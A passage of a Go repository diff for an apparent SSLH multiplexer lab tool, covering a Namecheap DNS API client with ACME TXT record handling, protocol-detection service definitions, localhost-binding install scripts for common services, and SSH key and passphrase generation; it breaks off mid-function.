return fmt.Errorf("failed to extract subdomain from %s for domain %s", fqdn, p.domain)
}
p.txtRecords[subdomain] = value
_, err := p.namecheapClient.CreateOrUpdateDNSRecord(p.domain, subdomain, "TXT", value, 300)
if err != nil {
return fmt.Errorf("failed to create TXT record for %s: %w", subdomain, err)
}
time.Sleep(10 * time.Second)
return nil
}
func (p *NamecheapDNSProvider) CleanUp(domain, token, keyAuth string) error {
fqdn, _ := dns01.GetRecord(domain, keyAuth)
subdomain := extractSubdomain(fqdn, p.domain)
if subdomain == "" {
return nil
}
records, err := p.namecheapClient.ListDNSRecords(p.domain)
if err != nil {
return fmt.Errorf("failed to list DNS records: %w", err)
}
for _, record := range records {
if record.Name == subdomain && record.Type == "TXT" {
if err := p.namecheapClient.DeleteDNSRecord(p.domain, record.ID); err != nil {
return fmt.Errorf("failed to delete TXT record for %s: %w", subdomain, err)
}
}
}
delete(p.txtRecords, subdomain)
return nil
}
func extractSubdomain(fqdn, domain string) string {
if len(fqdn) <= len(domain) {
return ""
}
suffix := "." + domain
if !endsWith(fqdn, suffix) {
return ""
}
subdomain := fqdn[:len(fqdn)-len(suffix)]
if subdomain == "_acme-challenge" {
return "_acme-challenge"
}
if len(subdomain) > len("_acme-challenge.") && subdomain[:len("_acme-challenge.")] == "_acme-challenge." {
return subdomain
}
return ""
}
func endsWith(s, suffix string) bool {
return len(s) >= len(suffix) && s[len(s)-len(suffix):] == suffix
}

View File

@@ -0,0 +1,567 @@
package namecheap
import (
"encoding/xml"
"fmt"
"net/url"
"strconv"
"strings"
"time"
"github.com/go-resty/resty/v2"
)
const (
namecheapAPIBaseURL = "https://api.namecheap.com/xml.response"
)
type Client struct {
apiKey string
apiUser string
clientIP string
resty *resty.Client
}
type Domain struct {
Name string
Nameservers []string
IsUsingNamecheapDNS bool
}
type DNSRecord struct {
ID string
Type string
Name string
Address string
TTL int
MXPref int
}
type DomainListResponse struct {
Domains []Domain
}
type DNSHostListResponse struct {
Records []DNSRecord
}
func NewClient(apiKey, apiUser, clientIP string) *Client {
client := resty.New()
client.SetBaseURL(namecheapAPIBaseURL)
client.SetTimeout(30 * time.Second)
return &Client{
apiKey: apiKey,
apiUser: apiUser,
clientIP: clientIP,
resty: client,
}
}
func (c *Client) buildQueryParams(command string, params map[string]string) url.Values {
query := url.Values{}
query.Set("ApiUser", c.apiUser)
query.Set("ApiKey", c.apiKey)
query.Set("UserName", c.apiUser)
query.Set("ClientIp", c.clientIP)
query.Set("Command", command)
for k, v := range params {
query.Set(k, v)
}
return query
}
func (c *Client) ListDomains() ([]Domain, error) {
query := c.buildQueryParams("namecheap.domains.getList", map[string]string{})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return nil, fmt.Errorf("failed to list domains: %w", err)
}
if resp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
var domains []Domain
if err := parseDomainListResponse(resp.Body(), &domains); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
}
return domains, nil
}
func (c *Client) ListDNSRecords(domain string) ([]DNSRecord, error) {
query := c.buildQueryParams("namecheap.domains.dns.getHosts", map[string]string{
"SLD": extractSLD(domain),
"TLD": extractTLD(domain),
})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return nil, fmt.Errorf("failed to list DNS records: %w", err)
}
if resp.IsError() {
bodyStr := string(resp.Body())
if strings.Contains(bodyStr, "2030288") || strings.Contains(bodyStr, "not using proper DNS servers") {
return nil, fmt.Errorf("domain %s is not using Namecheap DNS servers. The domain must use Namecheap's BasicDNS, PremiumDNS, or FreeDNS nameservers to manage DNS records via API. Please change the nameservers in your Namecheap account (Domain List > Manage > Nameservers) to 'Namecheap BasicDNS' or 'Namecheap PremiumDNS'", domain)
}
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), bodyStr)
}
var records []DNSRecord
if err := parseDNSHostListResponse(resp.Body(), &records); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
}
return records, nil
}
func (c *Client) CreateOrUpdateDNSRecord(domain, subdomain, recordType, value string, ttl int) (created bool, err error) {
sld := extractSLD(domain)
tld := extractTLD(domain)
records, err := c.ListDNSRecords(domain)
if err != nil {
return false, fmt.Errorf("failed to get existing records: %w", err)
}
recordExists := false
var updatedRecords []DNSRecord
for _, record := range records {
if record.Name == subdomain && record.Type == recordType {
recordExists = true
updatedRecords = append(updatedRecords, DNSRecord{
ID: record.ID,
Type: recordType,
Name: subdomain,
Address: value,
TTL: ttl,
MXPref: record.MXPref,
})
} else {
updatedRecords = append(updatedRecords, record)
}
}
if !recordExists {
updatedRecords = append(updatedRecords, DNSRecord{
ID: fmt.Sprintf("%d", len(records)+1),
Type: recordType,
Name: subdomain,
Address: value,
TTL: ttl,
MXPref: 10,
})
}
query := c.buildQueryParams("namecheap.domains.dns.setHosts", map[string]string{
"SLD": sld,
"TLD": tld,
})
for i, record := range updatedRecords {
idx := i + 1
query.Set(fmt.Sprintf("HostName%d", idx), record.Name)
query.Set(fmt.Sprintf("RecordType%d", idx), record.Type)
query.Set(fmt.Sprintf("Address%d", idx), record.Address)
query.Set(fmt.Sprintf("TTL%d", idx), fmt.Sprintf("%d", record.TTL))
if record.Type == "MX" {
query.Set(fmt.Sprintf("MXPref%d", idx), fmt.Sprintf("%d", record.MXPref))
}
}
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return false, fmt.Errorf("failed to set DNS record: %w", err)
}
if resp.IsError() {
return false, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
return !recordExists, nil
}
func (c *Client) CreateDNSRecord(domain, subdomain, recordType, value string, ttl int) error {
_, err := c.CreateOrUpdateDNSRecord(domain, subdomain, recordType, value, ttl)
return err
}
func (c *Client) DeleteDNSRecord(domain, recordID string) error {
records, err := c.ListDNSRecords(domain)
if err != nil {
return fmt.Errorf("failed to get existing records: %w", err)
}
var filtered []DNSRecord
for _, record := range records {
if record.ID != recordID {
filtered = append(filtered, record)
}
}
sld := extractSLD(domain)
tld := extractTLD(domain)
query := c.buildQueryParams("namecheap.domains.dns.setHosts", map[string]string{
"SLD": sld,
"TLD": tld,
})
for i, record := range filtered {
query.Set(fmt.Sprintf("HostName%d", i+1), record.Name)
query.Set(fmt.Sprintf("RecordType%d", i+1), record.Type)
query.Set(fmt.Sprintf("Address%d", i+1), record.Address)
query.Set(fmt.Sprintf("TTL%d", i+1), fmt.Sprintf("%d", record.TTL))
}
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return fmt.Errorf("failed to delete DNS record: %w", err)
}
if resp.IsError() {
return fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
return nil
}
func (c *Client) CheckExistingRecords(domain string) (bool, []DNSRecord, error) {
records, err := c.ListDNSRecords(domain)
if err != nil {
return false, nil, err
}
return len(records) > 0, records, nil
}
func (c *Client) GetDomainInfo(domain string) (*Domain, error) {
query := c.buildQueryParams("namecheap.domains.getInfo", map[string]string{
"DomainName": domain,
})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return nil, fmt.Errorf("failed to get domain info: %w", err)
}
if resp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
var domainInfo Domain
if err := parseDomainInfoResponse(resp.Body(), &domainInfo); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
}
return &domainInfo, nil
}
func (c *Client) IsDomainUsingNamecheapDNS(domain string) (bool, error) {
domainInfo, err := c.GetDomainInfo(domain)
if err != nil {
return false, err
}
return domainInfo.IsUsingNamecheapDNS, nil
}
func (c *Client) SetDomainToNamecheapDNS(domain string) error {
sld := extractSLD(domain)
tld := extractTLD(domain)
if sld == "" || tld == "" {
return fmt.Errorf("invalid domain format: %s (could not extract SLD/TLD)", domain)
}
query := c.buildQueryParams("namecheap.domains.dns.setDefault", map[string]string{
"SLD": sld,
"TLD": tld,
})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return fmt.Errorf("failed to set domain to Namecheap DNS: %w", err)
}
bodyStr := string(resp.Body())
if resp.IsError() {
return fmt.Errorf("API error: %s - %s", resp.Status(), bodyStr)
}
var result domainDNSSetDefaultResult
if err := parseDNSSetDefaultResponse(resp.Body(), &result); err != nil {
return fmt.Errorf("failed to parse response: %w\nAPI response: %s", err, bodyStr)
}
if !result.Updated {
return fmt.Errorf("API returned Updated=false for domain %s\nAPI response: %s", domain, bodyStr)
}
return nil
}
func extractSLD(domain string) string {
parts := splitDomain(domain)
if len(parts) >= 2 {
return parts[len(parts)-2]
}
return ""
}
func extractTLD(domain string) string {
parts := splitDomain(domain)
if len(parts) >= 1 {
return parts[len(parts)-1]
}
return ""
}
func splitDomain(domain string) []string {
var parts []string
start := 0
for i, char := range domain {
if char == '.' {
if i > start {
parts = append(parts, domain[start:i])
}
start = i + 1
}
}
if start < len(domain) {
parts = append(parts, domain[start:])
}
return parts
}
type apiResponse struct {
XMLName xml.Name `xml:"ApiResponse"`
Status string `xml:"Status,attr"`
Errors []apiError `xml:"Errors>Error"`
CommandResponse commandResponse `xml:"CommandResponse"`
}
type apiError struct {
Number string `xml:"Number,attr"`
Text string `xml:",chardata"`
}
type commandResponse struct {
DomainGetListResult domainGetListResult `xml:"DomainGetListResult"`
DomainDNSSetHostsResult domainDNSSetHostsResult `xml:"DomainDNSSetHostsResult"`
DomainDNSGetHostsResult domainDNSGetHostsResult `xml:"DomainDNSGetHostsResult"`
DomainGetInfoResult domainGetInfoResult `xml:"DomainGetInfoResult"`
DomainDNSSetDefaultResult domainDNSSetDefaultResult `xml:"DomainDNSSetDefaultResult"`
}
type domainGetListResult struct {
Domains []domainXML `xml:"Domain"`
}
type domainXML struct {
Name string `xml:"Name"`
}
type domainGetInfoResult struct {
DomainName string `xml:"DomainName,attr"`
IsUsingNamecheapDNS bool `xml:"IsUsingNamecheapDNS,attr"`
Nameservers []nameserverXML `xml:"Nameservers>Nameserver"`
}
type nameserverXML struct {
Name string `xml:",chardata"`
}
type domainDNSSetDefaultResult struct {
Domain string `xml:"Domain,attr"`
Updated bool `xml:"Updated,attr"`
}
type domainDNSGetHostsResult struct {
Hosts []hostXML `xml:"host"`
}
type domainDNSSetHostsResult struct {
IsSuccess bool `xml:"IsSuccess,attr"`
}
type hostXML struct {
Name string `xml:"Name,attr"`
Type string `xml:"Type,attr"`
Address string `xml:"Address,attr"`
TTL string `xml:"TTL,attr"`
MXPref string `xml:"MXPref,attr"`
}
func parseDomainListResponse(body []byte, domains *[]Domain) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w", err)
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
*domains = make([]Domain, 0, len(resp.CommandResponse.DomainGetListResult.Domains))
for _, domainXML := range resp.CommandResponse.DomainGetListResult.Domains {
*domains = append(*domains, Domain{
Name: domainXML.Name,
})
}
return nil
}
func parseDNSHostListResponse(body []byte, records *[]DNSRecord) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w", err)
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
*records = make([]DNSRecord, 0, len(resp.CommandResponse.DomainDNSGetHostsResult.Hosts))
for i, hostXML := range resp.CommandResponse.DomainDNSGetHostsResult.Hosts {
ttl := 1799
if hostXML.TTL != "" {
if parsedTTL, err := strconv.Atoi(hostXML.TTL); err == nil {
ttl = parsedTTL
}
}
mxPref := 10
if hostXML.MXPref != "" {
if parsedMXPref, err := strconv.Atoi(hostXML.MXPref); err == nil {
mxPref = parsedMXPref
}
}
*records = append(*records, DNSRecord{
ID: fmt.Sprintf("%d", i+1),
Type: hostXML.Type,
Name: hostXML.Name,
Address: hostXML.Address,
TTL: ttl,
MXPref: mxPref,
})
}
return nil
}
func parseDomainInfoResponse(body []byte, domain *Domain) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w", err)
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
result := resp.CommandResponse.DomainGetInfoResult
domain.Name = result.DomainName
domain.IsUsingNamecheapDNS = result.IsUsingNamecheapDNS
domain.Nameservers = make([]string, 0, len(result.Nameservers))
for _, ns := range result.Nameservers {
domain.Nameservers = append(domain.Nameservers, ns.Name)
}
return nil
}
func parseDNSSetDefaultResponse(body []byte, result *domainDNSSetDefaultResult) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w\nResponse body: %s", err, string(body))
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
if len(errorMsgs) == 0 {
errorMsgs = append(errorMsgs, "unknown error (no error details in response)")
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
if resp.CommandResponse.DomainDNSSetDefaultResult.Domain == "" {
return fmt.Errorf("API response missing DomainDNSSetDefaultResult\nResponse body: %s", string(body))
}
*result = resp.CommandResponse.DomainDNSSetDefaultResult
return nil
}

View File

@@ -0,0 +1,34 @@
package namecheap
import (
"fmt"
"time"
)
func (c *Client) WaitForDNSPropagation(domain, subdomain, expectedIP string, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
backoff := 5 * time.Second
maxBackoff := 80 * time.Second
for {
if time.Now().After(deadline) {
return fmt.Errorf("timeout waiting for DNS propagation")
}
records, err := c.ListDNSRecords(domain)
if err != nil {
return fmt.Errorf("failed to check DNS records: %w", err)
}
for _, record := range records {
if record.Name == subdomain && record.Address == expectedIP {
return nil
}
}
time.Sleep(backoff)
if backoff < maxBackoff {
backoff *= 2
}
}
}

View File

@@ -0,0 +1,313 @@
package services
import "fmt"
type Service struct {
Name string
Port int
Subdomain string
Protocol string
BackendPort int
SNIRequired bool
Config map[string]interface{}
}
func GetDefaultServices(domain string) []Service {
return []Service{
{
Name: "ssh",
Port: 22,
Subdomain: "ssh",
Protocol: "ssh",
BackendPort: 22,
SNIRequired: false,
Config: map[string]interface{}{},
},
{
Name: "https",
Port: 443,
Subdomain: "",
Protocol: "tls",
BackendPort: 8444,
SNIRequired: false,
Config: map[string]interface{}{
"alpn_protocols": []string{"h2", "http/1.1"},
},
},
{
Name: "smb",
Port: 445,
Subdomain: "smb",
Protocol: "regex",
BackendPort: 445,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00"},
},
},
}
}
func GetAdditionalServices(domain string) []Service {
return []Service{
{
Name: "ldap",
Port: 389,
Subdomain: "ldap",
Protocol: "regex",
BackendPort: 389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x30"},
},
},
{
Name: "ldaps",
Port: 636,
Subdomain: "ldaps",
Protocol: "tls",
BackendPort: 636,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "rdp",
Port: 3389,
Subdomain: "rdp",
Protocol: "regex",
BackendPort: 3389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x03\\x00\\x00"},
},
},
{
Name: "mysql",
Port: 3306,
Subdomain: "mysql",
Protocol: "regex",
BackendPort: 3306,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^[\\x00-\\xff]{4}\\x0a"},
},
},
{
Name: "postgres",
Port: 5432,
Subdomain: "postgres",
Protocol: "regex",
BackendPort: 5432,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00\\x08"},
},
},
}
}
func GetStandardServices(domain string) []Service {
return []Service{
{
Name: "ssh",
Port: 22,
Subdomain: "ssh",
Protocol: "ssh",
BackendPort: 22,
SNIRequired: false,
Config: map[string]interface{}{},
},
{
Name: "https",
Port: 443,
Subdomain: "",
Protocol: "tls",
BackendPort: 8444,
SNIRequired: false,
Config: map[string]interface{}{
"alpn_protocols": []string{"h2", "http/1.1"},
},
},
{
Name: "ldap",
Port: 389,
Subdomain: "ldap",
Protocol: "regex",
BackendPort: 389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x30"},
},
},
{
Name: "ldaps",
Port: 636,
Subdomain: "ldaps",
Protocol: "tls",
BackendPort: 636,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "smb",
Port: 445,
Subdomain: "smb",
Protocol: "regex",
BackendPort: 445,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00"},
},
},
{
Name: "rdp",
Port: 3389,
Subdomain: "rdp",
Protocol: "regex",
BackendPort: 3389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x03\\x00\\x00"},
},
},
{
Name: "mysql",
Port: 3306,
Subdomain: "mysql",
Protocol: "regex",
BackendPort: 3306,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^[\\x00-\\xff]{4}\\x0a"},
},
},
{
Name: "postgres",
Port: 5432,
Subdomain: "postgres",
Protocol: "regex",
BackendPort: 5432,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00\\x08"},
},
},
{
Name: "redis",
Port: 6379,
Subdomain: "redis",
Protocol: "regex",
BackendPort: 6379,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\*[0-9]"},
},
},
{
Name: "mongodb",
Port: 27017,
Subdomain: "mongo",
Protocol: "regex",
BackendPort: 27017,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^[\\x3d\\xdb]\\x00\\x00\\x00"},
},
},
{
Name: "vnc",
Port: 5900,
Subdomain: "vnc",
Protocol: "regex",
BackendPort: 5900,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^RFB"},
},
},
{
Name: "ftp",
Port: 21,
Subdomain: "ftp",
Protocol: "regex",
BackendPort: 21,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^220"},
},
},
{
Name: "ftps",
Port: 990,
Subdomain: "ftps",
Protocol: "tls",
BackendPort: 990,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "smtp",
Port: 25,
Subdomain: "smtp",
Protocol: "regex",
BackendPort: 25,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^220"},
},
},
{
Name: "smtps",
Port: 465,
Subdomain: "smtps",
Protocol: "tls",
BackendPort: 465,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "imap",
Port: 143,
Subdomain: "imap",
Protocol: "regex",
BackendPort: 143,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\* OK"},
},
},
{
Name: "imaps",
Port: 993,
Subdomain: "imaps",
Protocol: "tls",
BackendPort: 993,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "pop3",
Port: 110,
Subdomain: "pop3",
Protocol: "regex",
BackendPort: 110,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\+OK"},
},
},
{
Name: "pop3s",
Port: 995,
Subdomain: "pop3s",
Protocol: "tls",
BackendPort: 995,
SNIRequired: true,
Config: map[string]interface{}{},
},
}
}
func (s *Service) GetFQDN(domain string) string {
return fmt.Sprintf("%s.%s", s.Subdomain, domain)
}

View File

@@ -0,0 +1,196 @@
package services
import (
"fmt"
"strings"
)
type ServiceInstaller struct {
Service Service
}
func (si *ServiceInstaller) GenerateInstallScript() string {
var script strings.Builder
script.WriteString("#!/bin/bash\n")
script.WriteString("set -e\n\n")
switch si.Service.Name {
case "ssh":
script.WriteString(si.installSSH())
case "https":
script.WriteString(si.installNginx())
case "smb":
script.WriteString(si.installSamba())
case "ldap", "ldaps":
script.WriteString(si.installLDAP())
case "mysql":
script.WriteString(si.installMySQL())
case "postgres":
script.WriteString(si.installPostgreSQL())
case "redis":
script.WriteString(si.installRedis())
case "mongodb":
script.WriteString(si.installMongoDB())
default:
script.WriteString(si.installGeneric())
}
return script.String()
}
func (si *ServiceInstaller) installSSH() string {
return `# Configure SSH to listen on localhost only
sed -i 's/#ListenAddress 0.0.0.0/ListenAddress 127.0.0.1/' /etc/ssh/sshd_config
sed -i 's/ListenAddress 0.0.0.0/ListenAddress 127.0.0.1/' /etc/ssh/sshd_config
systemctl restart sshd
`
}
func (si *ServiceInstaller) installNginx() string {
return `# Configure Nginx to listen on localhost:8444 for HTTPS
# Create demo page directory
mkdir -p /var/www/demo
cat > /var/www/demo/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Demo App Page</title>
<meta charset="utf-8">
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
}
.container {
text-align: center;
padding: 2rem;
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
backdrop-filter: blur(10px);
}
h1 {
margin: 0;
font-size: 3rem;
}
</style>
</head>
<body>
<div class="container">
<h1>Demo app page</h1>
</div>
</body>
</html>
HTML
# Configure Nginx for root domain and subdomains
cat > /etc/nginx/sites-available/sslh-proxy <<'EOF'
# Default server for root domain (HTTPS on port 443 via SSLH)
server {
listen 127.0.0.1:8444 ssl http2;
server_name _;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
EOF
ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
nginx -t && systemctl restart nginx
`
}
func (si *ServiceInstaller) installSamba() string {
return `# Configure Samba to listen on localhost only
sed -i 's/; interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf
sed -i 's/; bind interfaces only = yes/ bind interfaces only = yes/' /etc/samba/smb.conf
systemctl restart smbd
`
}
func (si *ServiceInstaller) installLDAP() string {
return `# Install and configure OpenLDAP
DEBIAN_FRONTEND=noninteractive apt-get install -y slapd ldap-utils
# Configure OpenLDAP to listen on localhost only
sed -i 's|^SLAPD_SERVICES=.*|SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps://127.0.0.1:636/"|' /etc/default/slapd || true
systemctl enable slapd
systemctl restart slapd
`
}
func (si *ServiceInstaller) installMySQL() string {
return `# Install MySQL/MariaDB and configure to listen on localhost
DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-server || DEBIAN_FRONTEND=noninteractive apt-get install -y mariadb-server
if [ -f /etc/mysql/mysql.conf.d/mysqld.cnf ]; then
sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf
elif [ -f /etc/mysql/mariadb.conf.d/50-server.cnf ]; then
sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mariadb.conf.d/50-server.cnf
fi
systemctl restart mysql || systemctl restart mariadb
`
}
func (si *ServiceInstaller) installPostgreSQL() string {
return `# Install PostgreSQL and configure to listen on localhost
apt-get install -y postgresql postgresql-contrib
for conf in /etc/postgresql/*/main/postgresql.conf; do
if [ -f "$conf" ]; then
sed -i "s/#listen_addresses = 'localhost'/listen_addresses = 'localhost'/" "$conf" || \
sed -i "s/listen_addresses = '.*'/listen_addresses = 'localhost'/" "$conf" || \
echo "listen_addresses = 'localhost'" >> "$conf"
fi
done
systemctl restart postgresql
`
}
func (si *ServiceInstaller) installRedis() string {
return `# Install Redis and configure to listen on localhost
apt-get install -y redis-server
sed -i 's/bind 127.0.0.1 ::1/bind 127.0.0.1/' /etc/redis/redis.conf
systemctl restart redis-server
`
}
func (si *ServiceInstaller) installMongoDB() string {
return `# Install MongoDB and configure to listen on localhost
# Detect Ubuntu version for correct repository
. /etc/os-release
UBUNTU_VERSION=${VERSION_ID:-22.04}
UBUNTU_CODENAME=${UBUNTU_CODENAME:-jammy}
# Add MongoDB GPG key using modern method
mkdir -p /etc/apt/keyrings
curl -fsSL https://www.mongodb.org/static/pgp/server-6.0.asc | gpg --dearmor -o /etc/apt/keyrings/mongodb-server-6.0.gpg
chmod 644 /etc/apt/keyrings/mongodb-server-6.0.gpg
# Add MongoDB repository
echo "deb [ arch=amd64,arm64 signed-by=/etc/apt/keyrings/mongodb-server-6.0.gpg ] https://repo.mongodb.org/apt/ubuntu ${UBUNTU_CODENAME}/mongodb-org/6.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-6.0.list
apt-get update
apt-get install -y mongodb-org
sed -i 's/bindIp: .*/bindIp: 127.0.0.1/' /etc/mongod.conf
systemctl enable mongod
systemctl restart mongod
`
}
func (si *ServiceInstaller) installGeneric() string {
return fmt.Sprintf(`# Generic service installation for %s
echo "Service %s would be installed here"
`, si.Service.Name, si.Service.Name)
}

86
internal/ssh/keygen.go Normal file
View File

@@ -0,0 +1,86 @@
package ssh
import (
"fmt"
"os"
"os/exec"
"path/filepath"
)
type KeyPair struct {
PrivateKey []byte
PublicKey []byte
Passphrase string
}
func GenerateKeyPair(passphrase string) (*KeyPair, error) {
if passphrase == "" {
var err error
passphrase, err = GenerateSecurePassphrase(32)
if err != nil {
return nil, fmt.Errorf("failed to generate passphrase: %w", err)
}
}
// Create temporary directory for key generation
tmpDir, err := os.MkdirTemp("", "sslh-lab-keygen-*")
if err != nil {
return nil, fmt.Errorf("failed to create temp directory: %w", err)
}
defer os.RemoveAll(tmpDir)
tmpKeyPath := filepath.Join(tmpDir, "id_ed25519")
// Use ssh-keygen to generate OpenSSH format key with passphrase
cmd := exec.Command("ssh-keygen", "-t", "ed25519", "-f", tmpKeyPath, "-N", passphrase, "-C", "sslh-lab-generated")
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("failed to generate SSH key with ssh-keygen: %w", err)
}
// Read the generated private key
privateKeyBytes, err := os.ReadFile(tmpKeyPath)
if err != nil {
return nil, fmt.Errorf("failed to read generated private key: %w", err)
}
// Read the generated public key
publicKeyBytes, err := os.ReadFile(tmpKeyPath + ".pub")
if err != nil {
return nil, fmt.Errorf("failed to read generated public key: %w", err)
}
return &KeyPair{
PrivateKey: privateKeyBytes,
PublicKey: publicKeyBytes,
Passphrase: passphrase,
}, nil
}
func SaveKeyPair(keyPair *KeyPair, outputDir string) (string, string, error) {
if err := os.MkdirAll(outputDir, 0700); err != nil {
return "", "", fmt.Errorf("failed to create output directory: %w", err)
}
privateKeyPath := filepath.Join(outputDir, "id_ed25519")
publicKeyPath := filepath.Join(outputDir, "id_ed25519.pub")
if err := os.WriteFile(privateKeyPath, keyPair.PrivateKey, 0600); err != nil {
return "", "", fmt.Errorf("failed to write private key: %w", err)
}
if err := os.WriteFile(publicKeyPath, keyPair.PublicKey, 0644); err != nil {
return "", "", fmt.Errorf("failed to write public key: %w", err)
}
return privateKeyPath, publicKeyPath, nil
}
func LoadPublicKey(publicKeyPath string) (string, error) {
publicKeyBytes, err := os.ReadFile(publicKeyPath)
if err != nil {
return "", fmt.Errorf("failed to read public key file: %w", err)
}
return string(publicKeyBytes), nil
}

View File

@@ -0,0 +1,68 @@
package ssh
import (
"crypto/rand"
"fmt"
"math/big"
)
const (
lowercaseChars = "abcdefghijklmnopqrstuvwxyz"
uppercaseChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
digitChars = "0123456789"
// Exclude shell-problematic characters: $ ` \ " '
// $ causes variable expansion, ` is command substitution, \ is escape, " and ' are quotes
// These can cause issues when used in shell commands or when copying from terminal
specialChars = "!@#%^&*()_+-=[]{}|;:,.<>?"
allChars = lowercaseChars + uppercaseChars + digitChars + specialChars
)
func GenerateSecurePassphrase(length int) (string, error) {
if length < 32 {
length = 32
}
passphrase := make([]byte, length)
for i := 0; i < length; i++ {
idx, err := rand.Int(rand.Reader, big.NewInt(int64(len(allChars))))
if err != nil {
return "", fmt.Errorf("failed to generate random character: %w", err)
}
passphrase[i] = allChars[idx.Int64()]
}
passphraseStr := string(passphrase)
if err := validatePassphrase(passphraseStr); err != nil {
